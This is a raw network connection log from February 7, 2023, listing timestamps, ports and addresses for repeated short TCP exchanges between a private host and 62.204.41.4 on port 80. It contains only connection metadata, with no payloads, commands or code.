Feb 7, 2023 23:09:12.665361881 CET	80	50178	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.665510893 CET	50178	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.666182041 CET	50178	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.727914095 CET	80	50178	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.730153084 CET	80	50178	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.730309010 CET	50178	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.851630926 CET	50178	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.852408886 CET	50179	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.913139105 CET	80	50179	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.913378954 CET	50179	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.913480997 CET	80	50178	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.913570881 CET	50178	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.913891077 CET	50179	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.974457026 CET	80	50179	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.977729082 CET	80	50179	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.977874994 CET	50179	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.087672949 CET	50179	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.091620922 CET	50180	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.148575068 CET	80	50179	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.148762941 CET	50179	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.154109955 CET	80	50180	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.154359102 CET	50180	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.154966116 CET	50180	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.217349052 CET	80	50180	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.220128059 CET	80	50180	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.221071005 CET	50180	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.338555098 CET	50180	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.339814901 CET	50181	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.401225090 CET	80	50180	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.401948929 CET	50180	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.402405977 CET	80	50181	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.402534962 CET	50181	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.403024912 CET	50181	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.465456009 CET	80	50181	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.468801975 CET	80	50181	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.469007969 CET	50181	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.586476088 CET	50181	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.588542938 CET	50182	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.648204088 CET	80	50182	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.648416996 CET	50182	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.649143934 CET	80	50181	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.649266958 CET	50181	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.649408102 CET	50182	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.709044933 CET	80	50182	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.712430954 CET	80	50182	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.712563038 CET	50182	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.820681095 CET	50182	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.821399927 CET	50183	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.880263090 CET	80	50182	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.880372047 CET	50182	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.882649899 CET	80	50183	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.882884979 CET	50183	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.886210918 CET	50183	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:13.947546959 CET	80	50183	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.950521946 CET	80	50183	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:13.950668097 CET	50183	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.054678917 CET	50183	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.055460930 CET	50184	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.116347075 CET	80	50183	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.116437912 CET	50183	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.116765976 CET	80	50184	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.116930962 CET	50184	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.118143082 CET	50184	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.179326057 CET	80	50184	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.182687998 CET	80	50184	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.182874918 CET	50184	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.294841051 CET	50184	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.299336910 CET	50185	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.356292963 CET	80	50184	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.357669115 CET	50184	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.359798908 CET	80	50185	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.359947920 CET	50185	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.360321999 CET	50185	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.420708895 CET	80	50185	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.423168898 CET	80	50185	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.426464081 CET	50185	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.543342113 CET	50185	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.544131994 CET	50186	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.603908062 CET	80	50185	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.603984118 CET	50185	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.604499102 CET	80	50186	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.606547117 CET	50186	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.607278109 CET	50186	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.667646885 CET	80	50186	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.671169043 CET	80	50186	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.671334028 CET	50186	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.774724960 CET	50186	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.775458097 CET	50187	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.835304976 CET	80	50186	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.835431099 CET	50186	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.835702896 CET	80	50187	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.835830927 CET	50187	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.862061024 CET	50187	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:14.922805071 CET	80	50187	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.928833008 CET	80	50187	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:14.929040909 CET	50187	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.039403915 CET	50187	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.040079117 CET	50188	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.099982977 CET	80	50187	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.102302074 CET	80	50188	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.102480888 CET	50187	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.102551937 CET	50188	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.102933884 CET	50188	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.166090965 CET	80	50188	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.170551062 CET	80	50188	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.174649954 CET	50188	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.290076971 CET	50188	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.294811964 CET	50189	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.352453947 CET	80	50188	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.352647066 CET	50188	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.355127096 CET	80	50189	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.357636929 CET	50189	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.358032942 CET	50189	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.418268919 CET	80	50189	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.420347929 CET	80	50189	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.420573950 CET	50189	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.529454947 CET	50189	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.530463934 CET	50190	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.589834929 CET	80	50190	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.589931011 CET	80	50189	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.590141058 CET	50190	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.590157032 CET	50189	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.591789961 CET	50190	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.651084900 CET	80	50190	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.653491974 CET	80	50190	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.657754898 CET	50190	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.775027990 CET	50190	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.776237965 CET	50191	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.834765911 CET	80	50190	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.835180998 CET	50190	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.837028027 CET	80	50191	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.841953039 CET	50191	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.842998981 CET	50191	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:15.903717041 CET	80	50191	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.951698065 CET	80	50191	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:15.952351093 CET	50191	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.056361914 CET	50191	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.057496071 CET	50192	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.117039919 CET	80	50191	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.118779898 CET	50191	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.119791031 CET	80	50192	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.119956017 CET	50192	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.124887943 CET	50192	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.187309027 CET	80	50192	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.190716982 CET	80	50192	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.192075968 CET	50192	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.305829048 CET	50192	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.306926012 CET	50193	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.368576050 CET	80	50192	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.368807077 CET	50192	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.369311094 CET	80	50193	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.369443893 CET	50193	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.370707989 CET	50193	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.433226109 CET	80	50193	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.436515093 CET	80	50193	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.436700106 CET	50193	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.556839943 CET	50193	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.558481932 CET	50194	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.619276047 CET	80	50194	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.619339943 CET	80	50193	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.619602919 CET	50193	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.619981050 CET	50194	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.621524096 CET	50194	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.682019949 CET	80	50194	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.685125113 CET	80	50194	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.685342073 CET	50194	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.796437025 CET	50194	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.797291040 CET	50195	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.857196093 CET	80	50194	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.857426882 CET	50194	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.859718084 CET	80	50195	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.859885931 CET	50195	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.860331059 CET	50195	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:16.922935009 CET	80	50195	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.925700903 CET	80	50195	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:16.925980091 CET	50195	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.044682026 CET	50195	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.045996904 CET	50196	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.105413914 CET	80	50196	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.105557919 CET	50196	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.107351065 CET	80	50195	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.107420921 CET	50195	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.107942104 CET	50196	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.167345047 CET	80	50196	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.171992064 CET	80	50196	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.172112942 CET	50196	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.296294928 CET	50196	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.297290087 CET	50197	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.355957985 CET	80	50196	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.356106997 CET	50196	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.359987020 CET	80	50197	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.360137939 CET	50197	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.360534906 CET	50197	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.423247099 CET	80	50197	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.425403118 CET	80	50197	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.425517082 CET	50197	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.544447899 CET	50197	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.547672033 CET	50198	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.607398033 CET	80	50197	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.607517004 CET	50197	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.610996008 CET	80	50198	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.611151934 CET	50198	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.611552000 CET	50198	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.675267935 CET	80	50198	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.678493023 CET	80	50198	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.678623915 CET	50198	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.790344000 CET	50198	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.793435097 CET	50199	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.853482008 CET	80	50198	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.853589058 CET	50198	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.853995085 CET	80	50199	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.854126930 CET	50199	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.854664087 CET	50199	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:17.915184975 CET	80	50199	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.918106079 CET	80	50199	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:17.918209076 CET	50199	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.027735949 CET	50199	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.036832094 CET	50200	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.088454008 CET	80	50199	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.088553905 CET	50199	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.098217964 CET	80	50200	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.098402023 CET	50200	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.098931074 CET	50200	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.162705898 CET	80	50200	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.165523052 CET	80	50200	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.165700912 CET	50200	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.274389982 CET	50200	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.275341034 CET	50201	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.335822105 CET	80	50201	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.335856915 CET	80	50200	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.336082935 CET	50200	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.336544037 CET	50201	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.336544037 CET	50201	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.396924973 CET	80	50201	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.399946928 CET	80	50201	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.401601076 CET	50201	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.509512901 CET	50201	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.510263920 CET	50202	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.570159912 CET	80	50201	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.570764065 CET	50201	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.571832895 CET	80	50202	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.573170900 CET	50202	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.573599100 CET	50202	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.635154009 CET	80	50202	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.637898922 CET	80	50202	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.640924931 CET	50202	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.748979092 CET	50202	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.749824047 CET	50203	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.810827971 CET	80	50202	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.811053038 CET	50202	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.812093973 CET	80	50203	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.814065933 CET	50203	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.814518929 CET	50203	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.876962900 CET	80	50203	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.880453110 CET	80	50203	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:18.880616903 CET	50203	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:18.999360085 CET	50203	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.000066042 CET	50204	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.060959101 CET	80	50204	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.061475039 CET	50204	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.061810017 CET	80	50203	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.062252998 CET	50204	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.062275887 CET	50203	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.122895956 CET	80	50204	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.134325981 CET	80	50204	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.138777018 CET	50204	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.263243914 CET	50204	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.264226913 CET	50205	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.323803902 CET	80	50204	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.323961020 CET	50204	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.324954033 CET	80	50205	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.325074911 CET	50205	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.325526953 CET	50205	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.386173010 CET	80	50205	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.390074968 CET	80	50205	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.390244961 CET	50205	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.493339062 CET	50205	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.494519949 CET	50206	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.554275990 CET	80	50205	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.554491043 CET	50205	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.554917097 CET	80	50206	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.555031061 CET	50206	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.556588888 CET	50206	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.617105007 CET	80	50206	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.621167898 CET	80	50206	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.621387959 CET	50206	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.743700981 CET	50206	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.744467020 CET	50207	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.804806948 CET	80	50206	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.805071115 CET	50206	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.806649923 CET	80	50207	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.806972980 CET	50207	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.807801962 CET	50207	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.869165897 CET	80	50207	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.874517918 CET	80	50207	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:19.874772072 CET	50207	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.980179071 CET	50207	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:19.981013060 CET	50208	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.041821957 CET	80	50207	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.041928053 CET	50207	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.043694019 CET	80	50208	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.043853045 CET	50208	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.046231031 CET	50208	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.109179974 CET	80	50208	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.115149975 CET	80	50208	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.115382910 CET	50208	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.227648020 CET	50208	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.232083082 CET	50209	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.290544033 CET	80	50208	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.290685892 CET	50208	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.293653011 CET	80	50209	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.293792963 CET	50209	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.298654079 CET	50209	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.360356092 CET	80	50209	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.363478899 CET	80	50209	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.363571882 CET	50209	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.483911991 CET	50209	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.484884024 CET	50210	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.545459032 CET	80	50210	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.545557976 CET	50210	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.545645952 CET	80	50209	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.545746088 CET	50209	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.545993090 CET	50210	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.606465101 CET	80	50210	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.609539986 CET	80	50210	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.609599113 CET	50210	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.729896069 CET	50210	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.730911970 CET	50211	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.790488958 CET	80	50210	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.790608883 CET	50210	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.793349028 CET	80	50211	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.793726921 CET	50211	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.794111013 CET	50211	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.856517076 CET	80	50211	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.859153032 CET	80	50211	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:20.859287024 CET	50211	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.961484909 CET	50211	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:20.962270021 CET	50212	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:21.021791935 CET	80	50212	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:21.022126913 CET	50212	80	192.168.2.7	62.204.41.4
